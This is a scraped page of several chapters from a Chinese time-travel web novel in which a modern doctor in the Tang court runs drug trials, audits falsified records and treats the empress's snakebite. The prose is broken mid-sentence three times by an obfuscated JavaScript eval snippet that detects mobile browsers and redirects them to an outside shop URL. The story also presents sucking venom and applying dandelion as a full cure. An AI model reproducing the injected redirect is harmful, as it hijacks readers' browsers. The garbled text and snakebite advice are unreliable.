在上座的杜县令看着埋头苦吃的冯麓,想起来了早早远嫁为人妇的大女儿,那些官场上老掉牙的场面话全都不自觉变成慈爱的“好吃就多吃点儿”。 大口大口吃肉的冯麓跟其他为了维持纤细而点到即止的女子不同,杜蜻看着觉得很新奇,没想到医术高超的少女竟然也有如此接地气的一面。 冯麓抬眼,看到桌上三个人都在看着自己,顿时不好意思起来,用手帕擦了擦嘴上的油渍,赧颜道:“我吃的是有点儿多,各位见笑了。” “无妨。冯大人和白堂主不必拘束,不够的话后厨还有。”杜县令笑着说道。 冯麓抿连忙摆摆手,“已经吃好了,多谢杜大人。” “冯大人如此年少却机智过人,真乃女中翘楚。”杜蜻眼睛闪着欣赏的光,白理看着颇为刺眼。 “冯大人家中可曾定下亲事?” 杜县令这突兀的问题把冯麓打了个措手不及,她想起那个被她打晕后下落不明的老头,心虚地回答:“未曾。” “那太好了!”杜县令大喜,“冯大人可有中意的男子类型?下官作为蒲城的父母官,可为冯大人在城里选上一选。” “多谢杜大人,但我目前不想成亲。” 杜县令笑道:“也是,看惯了长安男儿的风姿应是看不上蒲城男儿的。” “并非如此,”冯麓赶紧站起来行礼道,“如今我身上肩负陛下解咒重任,使命一日未达我便一日不可放松,更别谈男女之事。杜大人的好意我心领了,待尘埃落定后我再行考虑吧。” 杜县令惋惜着叹息,可桌上失望的人又何止一个。 宴席过后,白理把冯麓送回院子。 蒲城已经过了立冬。街边的树叶全都掉光了,光秃秃的枝干互相碰撞,和咆哮的风声在夜里交织不断,显得夜色更为浓重,也显得冯麓与白理之间的氛围更为安静。 “那个,验方使……” “白堂主,我……” 两人难得开口,却巧合地相撞。 冯麓轻笑道:“白堂主先说吧。” “验方使,若我全听你的,可以不走吗?” “这是何意?”这没头没尾的话让冯麓摸不着头脑。 “我会全心配合验方的,不会再出现以往的那些情况。所以,你和杨凛可以留下来继续验方吗?”白理声音低沉,听得出来他很认真。 “白堂主,验方需要花费的精力太多了,你肩负一整个仁医堂的责任,实在不适合参与验方,违背方案过多会影响药方效果的评判。” 白理停下脚步看着冯麓说道:“或许真如你所言,我会不太适应,会手忙脚乱,但我可以协调,我可以学习。” “若我有做得不好的地方,我真诚地向你道歉,但请不要放弃蒲城,不要因我个人之过而让整个蒲城的人失去尝验解药的机会。” “拜托了,验方使大人。”白理说着就弯下腰向冯麓扎扎实实地行了礼,言辞恳切。 冯麓看着白理,心里五味杂陈。 她本来已经做好了离开的打算,但这场瘟疫让她发现白理坚守的原则也并非有错。当病患站在医师面前,自然是以危重为先,只是…… 冯麓把他扶起,语气沉重地说:“白堂主,你知道的,我实在没有时间了。接下来的验方,一个方案违背都不能再有。” “验方使尽可放心,我已经将方案牢牢记住,不信你问。”白理一脸“你随便抽背”的表情,有点像急于表现自己的学生。 “不必了。白堂主,我就再信你一回。” 等冯麓和白理各自回到院子,芮雪和杨凛早已烧好炭火在家里等着了。 “杨凛,小雪,咱们之后不去潼关了,就留在这里继续验方。” “为何大人突然变了决定?是白堂主跟您说了什么吗?” “嗯,白理他向我保证以后会全心投入,好好配合。看他样子还算诚恳,再分蒲城几例名额吧。” 杨凛心里其实不太愿意冯麓留下,但他没资格改变冯麓的决定,毕竟对于一个选人来说,除了跟随和服从没有其他选择。 他突然想起来什么,向冯麓递上一封里三层外三层的书信,“大人,今日长安来信。” 冯麓打开后发现是驻地长安的选人蓝谦所写,洋洋洒洒写下一整页的情况汇报。 她又把信从头到尾细读了一遍,笑着说:“长安的二期验方已经全部完成了。小雪,速速收拾行囊,我们明日便启程前往长安。” “是!”“是!”芮雪和杨凛异口同声,一起跑去收拾行囊。 冯麓伸手把杨凛捉了回来,“哎哎哎,我说让你收拾了吗?蒲城的验方还没完成呢,你去了谁来监督?” “好吧。”杨凛失落地低下头。‘大人你们啥时候回来?’ “还不知道,长安一期和二期验方完成后都还未曾进行数据核查,估计得要一阵子了。” 杨凛和芮雪再次异口同声地问:“‘数据核查’是啥?” “验方完成后我们需要收集所有病患的医案格,校验一遍其中的内容确认有无错漏或作假。” 数据核查是本次验方的从未涉及到的环节,也是最重要的环节之一,说不定还会被李麒过问,千万不能出现问题。冯麓暗暗祈祷着。 “校验?”郑安沅坐在马车里问道,“冯大人需要我安排一下协助的人手吗?” 冯麓连忙拒绝,“不用不用,若是尚药局的大人来,那岂不是用牛刀来拍苍蝇了。” 郑安沅掩面而笑。 此时,轿厢内吹入一丝寒风,是芮雪在撩开车帘四处张望。 “小心着凉。”冯麓提醒道,芮雪立即就收回了手,即使她的眼睛里仍然充满了好奇。 郑安沅瞥了一眼冯麓和她身边那个长相稚嫩的少年,她们都正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513173|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿了毛茸茸的长衫,冯麓睁着圆溜溜的大眼睛,颇像一只林间的白兔。 郑安沅斜睨打趣道:“冯大人,几日不见竟都收了小徒弟了?” 冯麓摸了摸芮雪的头顶,抿着嘴笑道:“她是我路上捡到的妹子,很聪明,现在跟在我身边学一些本事。” “见过郑大人。”芮雪立刻就软软地行礼,然后继续乖乖地坐在角落不再多说一句。 简直是大兔子带着小兔子,捅了兔子窝了,就是不知道这只小兔子会不会像她姐姐朝堂上大杀四方那样凌厉果断。郑安沅笑着心想。 客栈到了,郑安沅先下车,特意站在车旁等扶过冯麓和芮雪下车。 郑安沅长身玉立,黄昏的霞光照在他脸上,描摹出一道温柔的弧光,“冯大人舟车劳顿,我就不打扰大人歇息了。若有需要,可随时遣人知会我。” “多谢郑大人相迎入城,请慢走。” 郑安沅前脚刚上车离开,芮雪后脚就来扯着冯麓的衣袖问这个俊秀官爷是谁。 “尚药局的奉御郑安沅大人,我在长安的时候对我很是照顾。” 芮雪感慨:“看得出来。” “等会儿多吃点,今日好好歇息,明日开始我们还有很多事情要做。” 芮雪点点头,“是。” 翌日早晨,冯麓按照蓝谦给的地址去到了济世堂。 这是长安最大的医馆,每日都有数不胜数的病患千里迢迢跑来诊治,不为别的,就为了来寻一位白发苍苍的老者。这位老者来历不凡,他是致世的老御医,也是孙道士的师兄,还是本次验方的主要研究者。 “小女拜见梁师伯。”冯麓跪在地上行礼,芮雪也跟着行叩拜大礼。 “起身吧。”梁医师难得遇到故人门徒,激动得皱纹都加深了几寸,他目露内疚与遗憾之情,感慨道:“孙师弟已故多年却没能去探望,实乃老朽之愧!” 奇怪,孙药王去世的谣言怎么到处都是?难道是有人故意扩散的? “先生逝世实属无稽之谈,他老人家如今在山谷闭关,若师伯愿意,我会代师伯修书请求先生与您一见。” 梁师伯更加激动了,泪眼汪汪地握住冯麓的双手,“如此大好啊!” 经历了漫长的寒暄后,冯麓终于进入了正题:“师伯,我是陛下派来的验方使,现如今听闻您这边的验方已经完成,所以我特意赶来校验一番。” 冯麓命令蓝谦把所有病患的医案格拿到一间房里,她和芮雪开始一一校验,可刚翻开第十五号病患的医案格就发现了问题。 “蓝谦,这都是空的啊。你确定没拿错吧?”冯麓还往后翻了翻,可翻完了都没看见任何随访的内容,“还是说医师们根本没做随访?” “做了的做了的!只是医师们为了方便只写在了自己的方案册上,我还没来得及誊抄上去。”蓝谦立即把第十五号医案格收走,换了一本来。 冯麓随手一翻,发现不止他递来的这一本十四号,很多病患的医案格都没填完。 “你到底有多少本没写的?不是跟你们说了一定要及时填写吗?你拖到现在再补,万一誊抄错了呢?这不是作假吗?” “……对不住对不住,冯大人,小的再也不敢了!”蓝谦跪在地面。 冯麓叹口气,把那些空白的医案格全部垒在一起,“罢了,想是你们之前病患太多的原因。现在你去把所有空白的医案格都誊抄完毕,太阳落山之后我不想看到空白的医案格。” “是,我立即去誊抄!” 15. 宫中办公 冯麓翻开前五例病患的医案格,差点被气晕。 “蓝谦,第一个病患的知情画押书怎么没看见?方案里说了,没有画押书不可尝验。”“有的有的,但是太过久远恐怕找不着了。” “蓝谦,这个病患的日志簿里明明写了他在第二疗程期间曾感乏力,你为何不在医案格里记录?”“是小的遗漏了,这就补上。” “蓝谦,第二个病患为何中途退出,缘由呢?”“这……小的也忘记了,恐怕需要问一下梁先生。” 冯麓深吸一口气,极力将自己的怒气吞下肚,冷着脸说:“如果验方都这样记录我该如何评价疗效?如果无法评价疗效又该如何制成解药?我明明在验方开始之前都跟你们说过了的,到底有没有把我的话放心上!” 蓝谦又开始跪在地上磕头认错,闹得冯麓非常烦躁。 她要的不是凌驾于人之上看他们俯首听命,她只是想让他们帮她做完这个试验而已,为什么这么难。 蓝谦踩着日落的尾声交上了未完成的医案格,冯麓随便吃了点胡饼就继续待在房间里看资料。 夜晚的济世堂十分冷清,让人直打寒战。冯麓就着微弱晃动的烛光看着密密麻麻的资料,字好像都会跳舞似的,看得人头晕眼花。 芮雪时不时搓着手心,一边整理不良事件表一边问:“姐姐……你有没有觉得这里阴气很重?” “不是阴气重,只是这儿的窗户全都没关严实。”冯麓站起身把门关上,然后踮起脚把四面的窗户扣紧。但她收回手走回椅子上的时候,却两眼一黑径直栽倒在地。 “姐姐!” 守在门外的人冲得比芮雪还快,他一身黑甲揽起冯麓就往外跑,快到芮雪都没反应过来。 “喂你谁呀?你一直藏在济世堂?你要带我姐姐去哪儿?” “我是谁你不用管,我这是奉命行事光明正大站在外面,最后——我自然是带她去找医师。”黑甲男子冷漠无情地一一回答芮雪的连环提问。 芮雪几乎是小跑着才能跟上男子的步伐,她着急大喊:“这里就是济世堂,你还要去哪里找医师?” 黑甲男子回头扫了一眼芮雪,不耐烦地回答:“宫里。” 等冯麓再睁开眼,她已经躺在了金碧辉煌的绫绮殿里,她的身边是满眼焦急的芮雪和如释重负的袁太医。 袁太医欣喜地回过头向站在不远处的黑甲男子禀报:“烦请凌大人回禀陛下,冯大人已无大碍,现下只需喝点补气血的汤膳即可。” 冯麓从床上缓缓坐起来,才看到送她进宫的那人正是那日把当街救人的她抓去给李麒解咒的男子。 原来他就是史书上赫赫有名的凌之韫,那个帮李麒杀了诸多重臣的禁军统领。冯麓紧咬牙关,连睫毛都止不住地打寒战,望向凌之韫的眼神都带上了一丝恐惧。 “那为何验方使仍然寒战不停?”凌之韫质问道。 “这……”袁太医吞吞吐吐不知如何作答,冯麓见势立即代他回答:“凌大人,下官只是衣服穿少了。” 凌之韫移开眼神到冯麓脸上,短暂停留一秒以后面无表情地说:“那请冯大人好好歇息吧,只有保重身子才可为陛下更好地制作解药。” “是。” 凌之韫高仰头颅,长长的马尾随着他利落的转身甩在他身后,他的佩剑碰撞着他的黑甲发出清脆又有节奏的声响,在空旷的绫绮殿里平添一分肃杀之感。 “多谢冯大人解围。”地面传来一阵骨骼松动的声响,冯麓垂眸无声地看着向自己跪地拜谢的袁太医。 据中书令那日朝堂上所言,袁太医已经行医三十年,全白头发和胡子和沟壑纵横的皱纹无不在宣告他年事已高,但这样一个见惯大场面的老者如今仍然会害怕因为说错一句话就惹来杀身之祸。 冯麓心里泛起浓浓的悲悯,还有对这个君主专制社会的忿恨。在她之前,或许就已经有不少医者因为无法治好皇室疾病而被斩首,她只是历史漫漫长河之中的某一个倒霉的医师而已。 袁太医走后没多久,李麒就派人送来了五床羊绒被褥,五件鹅绒大氅、五件兔毛大氅和五件貂皮大氅,还有一百斤上好的木炭。 负责送温暖的太监堆着笑脸说:“冯大人,陛下说了,您在长安一日便安心在绫绮殿住下一日,想要什么都可以跟小的说,千万不要冻着饿着。” “可我还有卷宗要看……” “陛下已经命人搬来绫绮殿了。”太监伸手指向绫绮殿另一边的书案,那上面按顺序摆好了验方资料,就连蓝谦回收来的药瓶子也整整齐齐放在木匣子里。 “多谢陛下。” 冯麓心里叹口气,看来她想故意远离这个残酷无情的宫廷都不行。 夜色渐浓,已经是亥正三刻。冯麓闲不下来,喝完了药膳后立即披着大氅坐到了书案前。 芮雪已经渐渐打起了哈欠,因为实在太困又不敢独自回去睡觉,所以安安静静地趴在书案一端,陪着冯麓继续进行核查。 数据实在太差劲,几乎每个病患都有几个方案违背,频率最高的是访视超窗[1]。不用他们解释她都大概能猜到原因,大抵应该是与白理一样,毕竟长安的病患要比蒲城多上五倍不止。 还有,医案格中全是诸如“四肢出现米粒般的红点,瘙痒难耐”、“蹿稀一日五次”、“头昏脚软,行步飘忽”之类的表达,若是不把这些统一起来之后就会无法对不良事件进行统计分析,所以冯麓不得不改为“皮疹”、“腹泻”、“晕眩”和“共济失调”来代替这些俚语。 “小雪,帮我再点一支蜡烛来。” 没有人回应。 冯麓揉着眼睛从山一般高的医案格里抬头,才发现芮雪已经睡着了。她起身把芮雪的手臂架在自己肩膀上,小步小步地把她挪到床上,走之前还帮她多盖了一层羊绒被褥。 冯麓真是深刻体会到了长期营养不良带给人的影响有多大。若还是以前的陆知晓,她完全可以把跟她一般高的病人横抱到急诊室;可在从小就没好好吃过饱饭的瘦弱冯麓身上,只是半拖着芮雪走上十几步就可以累出半身虚汗。 冯麓擦掉额头和人中的汗滴,自己点了蜡烛挑灯夜战。 外面好像闪过一丝人影。冯麓立即抬头,死死盯住黑乎乎的窗户,即使是坚定的唯物主义者,冯麓也不免有点犯怵,毕竟这儿的冤魂可比现代社会多多了。 她咽下口水,深呼吸鼓起勇气地问:“谁在那儿?” 回应她的只有如孩童啼哭般的哀怨风声。 冯麓默念几遍社会主义核心价值观,重新稳定心神,继续投入到工作中。直到这一支蜡烛的光也开始昏暗,冯麓终于才肯上/床休息。 第二天,冯麓都没睡上几个时辰又爬起来看资料,连药膳都没有时间喝,连写字的手都在止不住颤抖。 “姐姐,歇息一会儿吧。” “不。” 芮雪说出口前就已经猜到了冯麓会是什么回答。 冯麓的计划中,早已规定好了什么时候该做什么,她还预估了需要多久可以完成全唐二期验方、多久可以完成全唐三期验方。 在冯麓心里一直有一块与性命等重的石头,压得她喘不过气来,她一步都不敢走错,一天都不敢浪费。 “姐姐,你若还不歇息,我就找袁太医来了。”芮雪弱弱地威胁。 冯麓淡淡地说:“我会自己看着办的。”可她自己都不知道,她的脸色已经白得吓人,唇色也变成了绛紫。 芮雪不敢让这样的冯麓继续工作下去,披上大氅就往太医署跑。可她都不知道太医署在哪。 没过多久,绫绮殿来人了。 冯麓头也没抬就低声念叨:“我不是说我自己会看着办吗,为何要麻烦袁太医来一趟?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513174|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >寒冷的空气出现片刻的安静,尔后传来一阵沉稳有力又不怒自威的声音。 “冯小医师,近来可好?” 冯麓转头看向声音的来源,差点一口气没喘上来,因为来人不是袁太医,而是正披着明黄大氅走进大殿的李麒。 冯麓也麻溜儿地从椅子下来,下跪的速度快到她甚至都能听到自己髌骨撞上木地板的声响。 她伏在地上,说:“民女参见陛下。” “起来吧。”“谢陛下。” 冯麓偷偷瞥了一眼李麒的面容,虽然血纹仍然鲜艳夺目,但他的声音不再像之前那么虚浮,如今的他步伐稳健、神态自然,想必是恢复了许多。 李麒似笑非笑地注视着冯麓躲闪着不敢对视的双眼,“冯小医师,你还没有回答朕。” 冯麓立即回道:“回陛下,民女很好。” “你就用这样一张比朕还虚的脸来说这句话?冯小医师,这可是欺君之罪。” “陛下,民女确实……还好。” 李麒挑眉问道:“依冯小医师看,如何算“还好”?” 冯麓低着头,感觉自己的冷汗都要滴到地面上,“只要没死就都是好的,民女一日不死,就会继续为陛下制作一日解药。” 李麒轻笑一声,视线飘到书案另一端的汤碗上,“袁太医为你做的汤膳为何不喝?” “方才在忙验方之事耽误了,民女现在就喝。”冯麓抬脚便捧起那一碗药膳,呼噜噜往嘴巴里灌,连味道都没品出来就喝完了,比猪八戒吃人参果更甚。 冯麓用手帕擦掉嘴上的水渍,赶紧小跑回来继续低头罚站,因为吃得太急,她控制不住地打起嗝来。 “我是人不是鱼,我没有腮。”冯麓闭着眼低声默念她师傅教她治打嗝的偏招,可被李麒听见了。 李麒被冯麓这句话逗乐得不行,大笑着问:“你说什么呢?你是人不是鱼?冯小医师你怎样都不会是鱼吧?” 坏了,默念怎么出声了?被这么一吓,不管偏招有没有用冯麓的嗝都被止住了。 李麒笑着大手一挥,对冯麓说:“坐吧,随性些。” “是。” “你还有兄弟姐妹吗?”李麒问。 冯麓眼珠子转了转,她当然不知道自己有没有,她思虑再三最后回了句“没有”,她想要是被调查出来她可以说和他们已经断绝了关系。 “朕倒是有。”李麒的脸露出少见的温柔笑容。 “朕有个长姐,对朕很好,但她已经在两年前离开了。朕的长兄小时候也会时常教朕射箭,但他连十五岁都没有挨过去。对了,朕还有个妹妹,撒娇起来很是可爱,但她刚满七岁就夭折了。”李麒坐在椅子上,手撑着下巴回忆过去,眼睛里满是哀戚的神色。 眼睁睁看着曾经身边的手足一一离自己远去却无能为力,这种痛苦不是一般人可以感同身受的。冯麓不知道该说什么,只能沉默。 李麒直视着冯麓的双眼,悠悠地感慨:“若小妹还活着,如今应该也跟你一般大了,但她不爱读书,想是没有冯小医师这般聪慧过人的。” 冯麓弯腰行礼,“陛下谬赞了。” “朕小时候根本不信命,可朕身边的人一个接一个全都离朕远去,朕不得不信。 冯小医师,你给朕的法子很有用,朕感觉身子好了许多。这也让朕更坚信了,你就是上神赐予朕的逆天改命之人。” 李麒坐正了身子,眼睛里漾起精光,让冯麓身上的大氅都透进丝丝寒风,好像那股子冷意沿着血管蔓延全身似的。 “所以冯小医师,保重好自己的身子,昨日在济世堂那样的事情,不要再发生。 因为给朕做出解药前,你不许死。” 注释及参考文献: [1]超窗:指现代药物试验中实际访视时间点超出方案规定的计划访视时间窗,提前延迟都算超窗 16. 初遇皇后 李麒这句轻飘飘的话可把冯麓吓得不轻。她也是没想到,现在的自己已经连想死都不行。 “皇帝就是皇帝啊。”冯麓自己在空无一人的绫绮殿小声嘟囔着。 半晌后,冯麓突然意识到芮雪好像消失了快一个时辰。她想这妹子怕是在找太医的路上走丢了,于是她急忙跑出去。 大明宫大到有点离谱,所有的宫殿和栏杆都大差不差,即使她一路上都在跟太监侍女打听方向,但仍然迷了路。 终于给她找到了一个像后花园的地方,这里遍布花草树木,似乎有的还可以入药。 “奴婢立即去寻太医!” 谁在说话?冯麓小步靠近,却没想到那侍女转头没看路一下子撞上了冯麓,力度之大差点没给冯麓撞飞出去。 “哪个走路不长眼的?”侍女揉着自己的额头,疼得龇牙咧嘴。 冯麓一眼就看到了小路另一头正坐在石头上的女子,她身着华服却面色苍白,她裙子的下摆撩开,正要用自己的手指触碰小腿处的伤口。 “不要碰!”冯麓急忙喊道。在这个没有抗生素的唐朝,创口要是细菌感染可就不好处理了。 女子被吓到,猛地抽回手,侍女折返回来指着冯麓不悦地大喊:“你是什么人,竟敢对皇后娘娘指手画脚?” 冯麓没空理会侍女的叽叽喳喳,凑近去仔细看伤口。她心里一惊,这不是普通的伤口,而是蛇咬伤。 后花园居然不除蛇。 “娘娘可曾记得蛇的模样?花纹,颜色什么的?”冯麓问。 皇后闭起眼睛回忆,半晌后,她说:“很短很粗的一条蛇,颜色……跟泥巴很像,很难分辨。” “看来是短尾蝮蛇。”冯麓低声说。 没有多余的时间给冯麓和皇后了,她立即从腰带掏出已经用高纯度酒消过毒的银针,挑开伤口,再拿腰带扎在小腿的近心端,把毒血挤压出来。 皇后双眼紧闭,紧咬牙关愣是不喊一声,一旁的侍女急得高声质问冯麓:“这什么法子?为何娘娘会如此痛苦?” “请娘娘忍耐一下,这蛇是毒蛇,若不把毒血逼出来恐怕有性命之忧。” 侍女没见过这种场面,神色慌张地劝皇后:“娘娘,奴婢还是请太医来吧。” 冯麓不耐烦地提高音量,狠狠地瞪了一眼话很多的侍女,“等你请来太医,娘娘早就没救了!你能不能安静一下让我好好诊治?” 侍女终于闭了嘴。 冯麓眼看毒血排得速度太慢,索性把嘴巴凑过去吸,外科学老师曾经告诉过她们,这是最差的手段,但事到如今没有别的办法。 “你……” 皇后一时间有些愣神,呆呆地垂眸看着那在为她而忙碌的圆脑袋。温热的触感从伤口传遍皇后的全身,这是她第一次被人如此亲密地对待,就连李麒也不曾这样温柔。 好像时间都变慢了许多,所有的喧嚣都已不在,只能听到自己胸腔发出的心跳声。在这偌大的宫城里、狭小的一角,她们紧紧相依,她甚至都可以闻到冯麓身上的药草味。 直到血液变得鲜红,冯麓才停下嘴上的动作。她转头看了看草地,小跑去摘了许多蒲公英来,用手指捻碎了以后涂在伤口上。 眼看着皇后面色逐渐好转,冯麓站起身拍了拍手上沾上的蒲公英,恢复到她那淡若山林的模样,对着侍女说道:“你现在可以去请太医了。不过,他们来也没什么用,因为毒素已经被我祛除干净了。” 侍女面容尴尬地退到皇后身后,冯麓伸手扶起她,说:“娘娘,您的宫殿在何处?民女扶您回去吧。” “多谢,你我本不相识,却劳烦你亲自祛毒。”皇后摇摇晃晃地站起身,几乎把半个身子的重量都压在了冯麓手臂上,但冯麓丝毫没有怨言。 “娘娘客气了,这是民女作为一介医师的使命。”冯麓说。 皇后十分惊讶,问道:“你是医师?难道,你就是验方使?” “娘娘深居简出,居然也听说过民女的名字吗?” “嗯,冯大人大名鼎鼎。”皇后扭头露出舒展的微笑,冯麓此时才发现,这皇后竟是个大美人。 “冯大人是独自行走在宫中吗?”皇后四处打量了一下,“冯大人出行最好还是携带一个侍女或侍卫,就怕出现今日的意外。” “民女没有侍女,只有一小妹跟在左右,但她出门前往太医署以后许久未归,想是迷路了民女便出来寻她,谁成想民女竟也迷了路。”冯麓不好意思地笑道。 皇后立即转头吩咐道:“红叶,去太医署寻一下冯大人的小妹。” “是。” 皇后给冯麓带路,路上有一搭没一搭地聊天。 “冯大人是为何从医的?” 冯麓转了转眼珠,回答:“救人一命胜造七级浮屠,多神圣。” 其实她学医的原因很简单粗暴,因为那年高考时,理想学校的中西医结合专业分数线最高,她不想浪费自己的高考分数。 “冯大人孤身来长安,会想家吗?” “会,”冯麓深吸一口气,话语里流露出难掩的悲伤,“但也只能想想,毕竟,民女的头等大事是为陛下解咒。” “那冯大人想家的时候,会做些什么呢?” “抬头看看天,让思念顺着脸颊慢慢流干就好了。” 说罢,皇后便停下脚步,抬起头来半眯着眼睛仰望着长安湛蓝清净的天空。半晌后,她轻声感叹:“本宫平日烦恼时也会常常望天发愣,貌似天空可以抚平一切似的。” 冯麓也抬眼,秋日的天空不太刺眼,连云彩充满着一股淡淡的忧伤。“或许,喜欢仰望天空是大地生灵的宿命吧。” “冯大人,你说话真有意思。”皇后收回眼神,看着冯麓轻笑。 冯麓看向蓬莱殿大门,“来这儿住了一段时日,居然现在才发现绫绮殿的隔壁是娘娘的蓬莱殿。如果娘娘不嫌弃,可以经常来找民女说话。” 冯麓把皇后送回寝宫,揉着酸酸麻麻的肩膀走回绫绮殿,没想到芮雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513175|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经回来了。 冯麓惊喜地小跑上前,迎接着芮雪泪眼汪汪的拥抱,“小雪?你怎么找到路回来的?我还想去找你呢!” “是……凌大人送我回来的。”芮雪抽泣着说道,“他把我送回来以后就发现姐姐不见了,那脸比那粪坑里的石头还臭,劈头盖脸把我骂了一顿,说我明明不认识路还偏要出门。” 呵,盯这么紧,是怕她逃跑还是怕她自杀? 冯麓摸了摸芮雪的脑袋安抚着,“那他人呢?”“我们出去寻你的时候正好撞上皇后娘娘的侍女,她说姐姐你跟娘娘在一起,那人才放心走了。” “这不是把我当人犯吗?” 冯麓带着愤怒迅速回到书案边奋笔疾书起来,她暗自决定,一定要尽快做完数据核查离开长安,就算只是离开皇宫也好。 通过不良事件表,她发现被随机到含有药材的病患里十有八/九出现了乏力、寒战和腹泻的不良事件,高剂量组的甚至还因为乏力直接晕倒在路上,十分危险。 她回忆了一下,蒲城虽然病患不多,但也出现了这样的情况。虽然不知道其他地方的不良事件是哪些,但她猜测同一个药方下的病患大抵差不多。 难道是药方里性寒的药加多了,要不要减量?还是说干脆直接换掉? 冯麓苦思冥想了一下午,最后把芮雪叫来,“小雪,飞鸽传书给各位选人,二期验方结束。回收所有病患的医案格,各地选人回京述职。” 芮雪立即提笔开始写文书,问:“为何如此突然?” 冯麓握笔的手都不由得抓紧,“因为药方存在缺陷,要立即改良,否则会出大事。” 历时七日,除长安外的所有驻地选人全部带着医案格和药罐子回到长安。冯麓只是随意地翻了翻,就证实了自己的猜想。 杨凛震惊地问:“大人,您是说我们之后的验方要换药?” “是,把生地黄去掉,蒲黄换成三七。” 此言一出,许多选人纷纷表示不解,“大人,三七比蒲黄贵上许多,大量验方不是一笔小数量!” “陛下说了,不计成本。如今必须尽快改良解药了,争取在过年前开始三期验方。” “是!” 冯麓要换药方的事情很快就传遍了长安,还没等冯麓想好怎么开口,郑安沅就直接送来了十来箱上好的三七。 “这让我如何回报郑大人。”冯麓看着这些药材说道。 郑安沅柔柔地笑,“冯大人与我一同为陛下做事,这些都是为了陛下能够尽快解咒,冯大人不必有负担。” 冯麓抿着嘴躬身行礼,“多谢!验方后若拿到巨额赏金,我们三七分,我三!” “我又不是为的赏金。”郑安沅继续笑道。 “那为的什么?” “为了你。”郑安沅眨了眨眼,“是我做得太不明显了吗?” “啊?”冯麓彻底愣住。 “验方使,我很欣赏你,所以—— 我希望你得偿所愿。” 17. 宫中密友 近日皇后和冯麓几乎天天待在一起,冯麓若是在卷宗,她也窝在榻上看书,偶尔,她们也会像今日一样,趁日光正好在露台下棋。 冯麓抬手放下一颗子。 皇后装作不经意地问:“冯小医师,你为何这几日都对郑大人避而不见?” 冯麓心神一乱,手上的棋子放错了位置。 “郑家和本宫是世交,他自小机警聪颖、待人真诚,你又待字闺中,何不考虑考虑?”皇后笑道。 “解药之事还未完成,民女不想考虑任何人,若是民女做不出解药可是要为陛下殉葬的。” “什么?”皇后惊讶地抬起头望向冯麓,“陛下他这么对你说的?” “是,所以民女只剩下两年不到的光阴了,这时候谈婚事对伴侣并不好。”冯麓无声地微笑,又落下一子。 “你有把这事儿告知郑大人吗?” “郑大人身边有数不尽的优秀女子,他对民女的心意会随着光阴流逝逐渐淡化的。”冯麓抬头笑了笑,“娘娘,民女输了。还想再来一局吗?” 皇后眼看着这个话题被冯麓揭过去,没办法再继续,索性顺着说:“好啊,你的这个‘五子棋’玩法真是不错,简单又有趣,很快就可以完成一局对弈。没想到冯小医师不仅医术精湛,在民间游戏上也如此有巧思。” “娘娘喜欢便好。”冯麓低头将棋盘收拾干净,“娘娘不必拘谨,叫民女冯麓即可。” “冯小医师你有乳名吗?我们年龄应该差不了几岁,我叫你麓麓如何?”皇后立即放下端了许久的包袱,惊喜地问。 “麓麓”,“陆陆”,她从小很多朋友都这么叫她,这个熟悉的称呼虽然不是同一个字,但也让冯麓心里多了一丝亲切感。 “好啊。”冯麓点点头。 自那日后,皇后几乎是每天都来找冯麓玩耍聊天,即使冯麓有事情要忙她也不会打扰,就静静地在一旁逗猫打发时间。 难道这个皇后都没有事情可做吗?冯麓转念一想,也对,李麒后宫的嫔妃就她一个人,没有子嗣,还不能出宫,换做是她自己估计待上一个月就会抑郁。 冯麓悄悄瞥了一眼在露台晒太阳的皇后,她其实觉得皇后如今的状态已经与抑郁症没有什么差别。虽然她一直在微笑,但也有可能是表面的伪装。 皇后一个人待着的时候,周围会包裹着一股浓烈的忧郁气息,旁人都无法靠近。甚至,她发现皇后在望向天空时,经常会流泪。 冯麓的医师本能让她忍不住去关心皇后,所以她再忙也会抽时间出来陪皇后聊聊天。天南地北,五湖四海,天文地理,花鸟鱼虫,想到什么聊什么。 除了五子棋外,冯麓还教了皇后瑜伽的动作技巧。 瑜伽是转移注意力治疗情绪的好方法,还可以强身健体。冯麓希望皇后可以通过做瑜伽来尽快入睡,从而忽略那个始终空出一个人的床榻,忽略那个从未踏入寝殿的李麒。 冬天来临,长安的雪下了一天一夜。 皇后约冯麓去长安近郊泡汤池,据她所说里面放了许多补气血和养精神的药材,若受了伤来泡可以立即痊愈,若无病无伤来泡则可以增加五年阳寿。 “真有这么强的功效?”冯麓低头闻了闻汤池水,撇撇嘴,“貌似也就是放了一些黄花蒿混合着白芷和黄连什么的,对伤口确实有用,但延年益寿怕是自我安慰了。” 